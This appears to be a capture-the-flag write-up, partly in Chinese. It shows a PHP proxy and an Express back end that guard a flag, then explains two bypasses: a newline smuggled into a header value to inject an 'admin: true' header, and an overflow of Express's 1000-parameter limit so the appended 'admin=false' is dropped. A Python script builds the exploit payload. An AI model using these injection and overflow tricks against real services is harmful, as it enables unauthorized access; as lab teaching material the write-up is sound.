php
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;`
直接说 两个漏洞 1,stripos(key, 'admin') > -1 && stripos(value, 'true') > -1,多行绕过
javascript
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
2,express的parameterLimit默认为1000,溢出绕过 构造palyload
import json
from abc import ABC
datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
"params": {"admin": "true"}}
for i in range(1020):
datas["params"]["x" + str(i)] = i
json1 = json.dumps(datas)
print(json1)
print("\n")